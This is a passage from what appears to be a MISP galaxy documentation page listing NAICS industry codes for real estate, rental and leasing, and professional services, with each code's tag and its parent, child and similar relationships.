- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531320" with estimative-language:likelihood-probability="likely"

531320

Offices of Real Estate Appraisers

The tag is: *misp-galaxy:naics="531320"*

View relationships graph

531320 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53132" with estimative-language:likelihood-probability="likely"

53139

Other Activities Related to Real Estate

The tag is: *misp-galaxy:naics="53139"*

View relationships graph

53139 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="531390" with estimative-language:likelihood-probability="likely"

531390

Other Activities Related to Real Estate

The tag is: *misp-galaxy:naics="531390"*

View relationships graph

531390 has relationships with:

- child-of: misp-galaxy:naics="5313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53139" with estimative-language:likelihood-probability="likely"

532

Rental and Leasing Services

The tag is: *misp-galaxy:naics="532"*

View relationships graph

532 has relationships with:

- child-of: misp-galaxy:naics="53" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"

5321

Automotive Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="5321"*

View relationships graph

5321 has relationships with:

- child-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532120" with estimative-language:likelihood-probability="likely"

53211

Passenger Car Rental and Leasing

The tag is: *misp-galaxy:naics="53211"*

View relationships graph

53211 has relationships with:

- child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"

532111

Passenger Car Rental

The tag is: *misp-galaxy:naics="532111"*

View relationships graph

532111 has relationships with:

- child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"

532112

Passenger Car Leasing

The tag is: *misp-galaxy:naics="532112"*

View relationships graph

532112 has relationships with:

- child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"

53212

Truck, Utility Trailer, and RV (Recreational Vehicle) Rental and Leasing

The tag is: *misp-galaxy:naics="53212"*

View relationships graph

53212 has relationships with:

- child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="532120" with estimative-language:likelihood-probability="likely"

532120

Truck, Utility Trailer, and RV (Recreational Vehicle) Rental and Leasing

The tag is: *misp-galaxy:naics="532120"*

View relationships graph

532120 has relationships with:

- child-of: misp-galaxy:naics="5321" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53212" with estimative-language:likelihood-probability="likely"

5322

Consumer Goods Rental

The tag is: *misp-galaxy:naics="5322"*

View relationships graph

5322 has relationships with:

- child-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53228" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532281" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532282" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532283" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532284" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532289" with estimative-language:likelihood-probability="likely"

53221

Consumer Electronics and Appliances Rental

The tag is: *misp-galaxy:naics="53221"*

View relationships graph

53221 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="532210" with estimative-language:likelihood-probability="likely"

532210

Consumer Electronics and Appliances Rental

The tag is: *misp-galaxy:naics="532210"*

View relationships graph

532210 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53221" with estimative-language:likelihood-probability="likely"

53228

Other Consumer Goods Rental

The tag is: *misp-galaxy:naics="53228"*

View relationships graph

53228 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532281

Formal Wear and Costume Rental

The tag is: *misp-galaxy:naics="532281"*

View relationships graph

532281 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532282

Video Tape and Disc Rental

The tag is: *misp-galaxy:naics="532282"*

View relationships graph

532282 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532283

Home Health Equipment Rental

The tag is: *misp-galaxy:naics="532283"*

View relationships graph

532283 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532284

Recreational Goods Rental

The tag is: *misp-galaxy:naics="532284"*

View relationships graph

532284 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

532289

All Other Consumer Goods Rental

The tag is: *misp-galaxy:naics="532289"*

View relationships graph

532289 has relationships with:

- child-of: misp-galaxy:naics="5322" with estimative-language:likelihood-probability="likely"

5323

General Rental Centers

The tag is: *misp-galaxy:naics="5323"*

View relationships graph

5323 has relationships with:

- child-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532310" with estimative-language:likelihood-probability="likely"

53231

General Rental Centers

The tag is: *misp-galaxy:naics="53231"*

View relationships graph

53231 has relationships with:

- child-of: misp-galaxy:naics="5323" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="532310" with estimative-language:likelihood-probability="likely"

532310

General Rental Centers

The tag is: *misp-galaxy:naics="532310"*

View relationships graph

532310 has relationships with:

- child-of: misp-galaxy:naics="5323" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53231" with estimative-language:likelihood-probability="likely"

5324

Commercial and Industrial Machinery and Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="5324"*

View relationships graph

5324 has relationships with:

- child-of: misp-galaxy:naics="532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53242" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53249" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="532490" with estimative-language:likelihood-probability="likely"

53241

Construction, Transportation, Mining, and Forestry Machinery and Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="53241"*

View relationships graph

53241 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"

532411

Commercial Air, Rail, and Water Transportation Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="532411"*

View relationships graph

532411 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"

532412

Construction, Mining, and Forestry Machinery and Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="532412"*

View relationships graph

532412 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"

53242

Office Machinery and Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="53242"*

View relationships graph

53242 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="532420" with estimative-language:likelihood-probability="likely"

532420

Office Machinery and Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="532420"*

View relationships graph

532420 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53242" with estimative-language:likelihood-probability="likely"

53249

Other Commercial and Industrial Machinery and Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="53249"*

View relationships graph

53249 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="532490" with estimative-language:likelihood-probability="likely"

532490

Other Commercial and Industrial Machinery and Equipment Rental and Leasing

The tag is: *misp-galaxy:naics="532490"*

View relationships graph

532490 has relationships with:

- child-of: misp-galaxy:naics="5324" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53249" with estimative-language:likelihood-probability="likely"

533

Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)

The tag is: *misp-galaxy:naics="533"*

View relationships graph

533 has relationships with:

- child-of: misp-galaxy:naics="53" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5331" with estimative-language:likelihood-probability="likely"

5331

Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)

The tag is: *misp-galaxy:naics="5331"*

View relationships graph

5331 has relationships with:

- child-of: misp-galaxy:naics="533" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="53311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="533110" with estimative-language:likelihood-probability="likely"

53311

Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)

The tag is: *misp-galaxy:naics="53311"*

View relationships graph

53311 has relationships with:

- child-of: misp-galaxy:naics="5331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="533110" with estimative-language:likelihood-probability="likely"

533110

Lessors of Nonfinancial Intangible Assets (except Copyrighted Works)

The tag is: *misp-galaxy:naics="533110"*

View relationships graph

533110 has relationships with:

- child-of: misp-galaxy:naics="5331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="53311" with estimative-language:likelihood-probability="likely"

54

Professional, Scientific, and Technical Services

The tag is: *misp-galaxy:naics="54"*

View relationships graph

54 has relationships with:

- parent-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"

541

Professional, Scientific, and Technical Services

The tag is: *misp-galaxy:naics="541"*

View relationships graph

541 has relationships with:

- child-of: misp-galaxy:naics="54" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5418" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5419" with estimative-language:likelihood-probability="likely"

5411

Legal Services

The tag is: *misp-galaxy:naics="5411"*

View relationships graph

5411 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541199" with estimative-language:likelihood-probability="likely"

54111

Offices of Lawyers

The tag is: *misp-galaxy:naics="54111"*

View relationships graph

54111 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541110" with estimative-language:likelihood-probability="likely"

541110

Offices of Lawyers

The tag is: *misp-galaxy:naics="541110"*

View relationships graph

541110 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54111" with estimative-language:likelihood-probability="likely"

54112

Offices of Notaries

The tag is: *misp-galaxy:naics="54112"*

View relationships graph

54112 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541120" with estimative-language:likelihood-probability="likely"

541120

Offices of Notaries

The tag is: *misp-galaxy:naics="541120"*

View relationships graph

541120 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54112" with estimative-language:likelihood-probability="likely"

54119

Other Legal Services

The tag is: *misp-galaxy:naics="54119"*

View relationships graph

54119 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"

541191

Title Abstract and Settlement Offices

The tag is: *misp-galaxy:naics="541191"*

View relationships graph

541191 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"

541199

All Other Legal Services

The tag is: *misp-galaxy:naics="541199"*

View relationships graph

541199 has relationships with:

- child-of: misp-galaxy:naics="5411" with estimative-language:likelihood-probability="likely"

5412

Accounting, Tax Preparation, Bookkeeping, and Payroll Services

The tag is: *misp-galaxy:naics="5412"*

View relationships graph

5412 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541214" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541219" with estimative-language:likelihood-probability="likely"

54121

Accounting, Tax Preparation, Bookkeeping, and Payroll Services

The tag is: *misp-galaxy:naics="54121"*

View relationships graph

54121 has relationships with:

- child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

541211

Offices of Certified Public Accountants

The tag is: *misp-galaxy:naics="541211"*

View relationships graph

541211 has relationships with:

- child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

541213

Tax Preparation Services

The tag is: *misp-galaxy:naics="541213"*

View relationships graph

541213 has relationships with:

- child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

541214

Payroll Services

The tag is: *misp-galaxy:naics="541214"*

View relationships graph

541214 has relationships with:

- child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

541219

Other Accounting Services

The tag is: *misp-galaxy:naics="541219"*

View relationships graph

541219 has relationships with:

- child-of: misp-galaxy:naics="5412" with estimative-language:likelihood-probability="likely"

5413

Architectural, Engineering, and Related Services

The tag is: *misp-galaxy:naics="5413"*

View relationships graph

5413 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54134" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54135" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541350" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54136" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541360" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54137" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541370" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54138" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541380" with estimative-language:likelihood-probability="likely"

54131

Architectural Services

The tag is: *misp-galaxy:naics="54131"*

View relationships graph

54131 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541310" with estimative-language:likelihood-probability="likely"

541310

Architectural Services

The tag is: *misp-galaxy:naics="541310"*

View relationships graph

541310 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54131" with estimative-language:likelihood-probability="likely"

54132

Landscape Architectural Services

The tag is: *misp-galaxy:naics="54132"*

View relationships graph

54132 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541320" with estimative-language:likelihood-probability="likely"

541320

Landscape Architectural Services

The tag is: *misp-galaxy:naics="541320"*

View relationships graph

541320 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54132" with estimative-language:likelihood-probability="likely"

54133

Engineering Services

The tag is: *misp-galaxy:naics="54133"*

View relationships graph

54133 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541330" with estimative-language:likelihood-probability="likely"

541330

Engineering Services

The tag is: *misp-galaxy:naics="541330"*

View relationships graph

541330 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54133" with estimative-language:likelihood-probability="likely"

54134

Drafting Services

The tag is: *misp-galaxy:naics="54134"*

View relationships graph

54134 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541340" with estimative-language:likelihood-probability="likely"

541340

Drafting Services

The tag is: *misp-galaxy:naics="541340"*

View relationships graph

541340 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54134" with estimative-language:likelihood-probability="likely"

54135

Building Inspection Services

The tag is: *misp-galaxy:naics="54135"*

View relationships graph

54135 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541350" with estimative-language:likelihood-probability="likely"

541350

Building Inspection Services

The tag is: *misp-galaxy:naics="541350"*

View relationships graph

541350 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54135" with estimative-language:likelihood-probability="likely"

54136

Geophysical Surveying and Mapping Services

The tag is: *misp-galaxy:naics="54136"*

View relationships graph

54136 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541360" with estimative-language:likelihood-probability="likely"

541360

Geophysical Surveying and Mapping Services

The tag is: *misp-galaxy:naics="541360"*

View relationships graph

541360 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54136" with estimative-language:likelihood-probability="likely"

54137

Surveying and Mapping (except Geophysical) Services

The tag is: *misp-galaxy:naics="54137"*

View relationships graph

54137 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541370" with estimative-language:likelihood-probability="likely"

541370

Surveying and Mapping (except Geophysical) Services

The tag is: *misp-galaxy:naics="541370"*

View relationships graph

541370 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54137" with estimative-language:likelihood-probability="likely"

54138

Testing Laboratories and Services

The tag is: *misp-galaxy:naics="54138"*

View relationships graph

54138 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541380" with estimative-language:likelihood-probability="likely"

541380

Testing Laboratories and Services

The tag is: *misp-galaxy:naics="541380"*

View relationships graph

541380 has relationships with:

- child-of: misp-galaxy:naics="5413" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54138" with estimative-language:likelihood-probability="likely"

5414

Specialized Design Services

The tag is: *misp-galaxy:naics="5414"*

View relationships graph

5414 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54143" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54149" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541490" with estimative-language:likelihood-probability="likely"

54141

Interior Design Services

The tag is: *misp-galaxy:naics="54141"*

View relationships graph

54141 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541410" with estimative-language:likelihood-probability="likely"

541410

Interior Design Services

The tag is: *misp-galaxy:naics="541410"*

View relationships graph

541410 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54141" with estimative-language:likelihood-probability="likely"

54142

Industrial Design Services

The tag is: *misp-galaxy:naics="54142"*

View relationships graph

54142 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541420" with estimative-language:likelihood-probability="likely"

541420

Industrial Design Services

The tag is: *misp-galaxy:naics="541420"*

View relationships graph

541420 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54142" with estimative-language:likelihood-probability="likely"

54143

Graphic Design Services

The tag is: *misp-galaxy:naics="54143"*

View relationships graph

54143 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541430" with estimative-language:likelihood-probability="likely"

541430

Graphic Design Services

The tag is: *misp-galaxy:naics="541430"*

View relationships graph

541430 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54143" with estimative-language:likelihood-probability="likely"

54149

Other Specialized Design Services

The tag is: *misp-galaxy:naics="54149"*

View relationships graph

54149 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541490" with estimative-language:likelihood-probability="likely"

541490

Other Specialized Design Services

The tag is: *misp-galaxy:naics="541490"*

View relationships graph

541490 has relationships with:

- child-of: misp-galaxy:naics="5414" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54149" with estimative-language:likelihood-probability="likely"

5415

Computer Systems Design and Related Services

The tag is: *misp-galaxy:naics="5415"*

View relationships graph

5415 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541519" with estimative-language:likelihood-probability="likely"

54151

Computer Systems Design and Related Services

The tag is: *misp-galaxy:naics="54151"*

View relationships graph

54151 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541511

Custom Computer Programming Services

The tag is: *misp-galaxy:naics="541511"*

View relationships graph

541511 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541512

Computer Systems Design Services

The tag is: *misp-galaxy:naics="541512"*

View relationships graph

541512 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541513

Computer Facilities Management Services

The tag is: *misp-galaxy:naics="541513"*

View relationships graph

541513 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

541519

Other Computer Related Services

The tag is: *misp-galaxy:naics="541519"*

View relationships graph

541519 has relationships with:

- child-of: misp-galaxy:naics="5415" with estimative-language:likelihood-probability="likely"

5416

Management, Scientific, and Technical Consulting Services

The tag is: *misp-galaxy:naics="5416"*

View relationships graph

5416 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541614" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541618" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54162" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541620" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="54169" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541690" with estimative-language:likelihood-probability="likely"

54161

Management Consulting Services

The tag is: *misp-galaxy:naics="54161"*

View relationships graph

54161 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

541611

Administrative Management and General Management Consulting Services

The tag is: *misp-galaxy:naics="541611"*

View relationships graph

541611 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

541612

Human Resources Consulting Services

The tag is: *misp-galaxy:naics="541612"*

View relationships graph

541612 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

541613

Marketing Consulting Services

The tag is: *misp-galaxy:naics="541613"*

View relationships graph

541613 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

541614

Process, Physical Distribution, and Logistics Consulting Services

The tag is: *misp-galaxy:naics="541614"*

View relationships graph

541614 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

541618

Other Management Consulting Services

The tag is: *misp-galaxy:naics="541618"*

View relationships graph

541618 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"

54162

Environmental Consulting Services

The tag is: *misp-galaxy:naics="54162"*

View relationships graph

54162 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541620" with estimative-language:likelihood-probability="likely"

541620

Environmental Consulting Services

The tag is: *misp-galaxy:naics="541620"*

View relationships graph

541620 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54162" with estimative-language:likelihood-probability="likely"

54169

Other Scientific and Technical Consulting Services

The tag is: *misp-galaxy:naics="54169"*

View relationships graph

54169 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541690" with estimative-language:likelihood-probability="likely"

541690

Other Scientific and Technical Consulting Services

The tag is: *misp-galaxy:naics="541690"*

View relationships graph

541690 has relationships with:

- child-of: misp-galaxy:naics="5416" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="54169" with estimative-language:likelihood-probability="likely"

5417

Scientific Research and Development Services

The tag is: *misp-galaxy:naics="5417"*

View relationships graph

5417 has relationships with:

- child-of: misp-galaxy:naics="541" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54171" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541713" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541714" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541715" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="54172" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="541720" with estimative-language:likelihood-probability="likely"

54171

Research and Development in the Physical, Engineering, and Life Sciences

The tag is: *misp-galaxy:naics="54171"*

View relationships graph

54171 has relationships with:

- child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"

541713

Research and Development in Nanotechnology

The tag is: *misp-galaxy:naics="541713"*

View relationships graph

541713 has relationships with:

- child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"

541714

Research and Development in Biotechnology (except Nanobiotechnology)

The tag is: *misp-galaxy:naics="541714"*

View relationships graph

541714 has relationships with:

- child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"

541715

Research and Development in the Physical, Engineering, and Life Sciences (except Nanotechnology and Biotechnology)

The tag is: *misp-galaxy:naics="541715"*

View relationships graph

541715 has relationships with:

- child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"

54172

Research and Development in the Social Sciences and Humanities

The tag is: *misp-galaxy:naics="54172"*

View relationships graph

54172 has relationships with:

- child-of: misp-galaxy:naics="5417" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="541720" with estimative-language:likelihood-probability="likely"

541720

Research and Development in the Social Sciences and Humanities

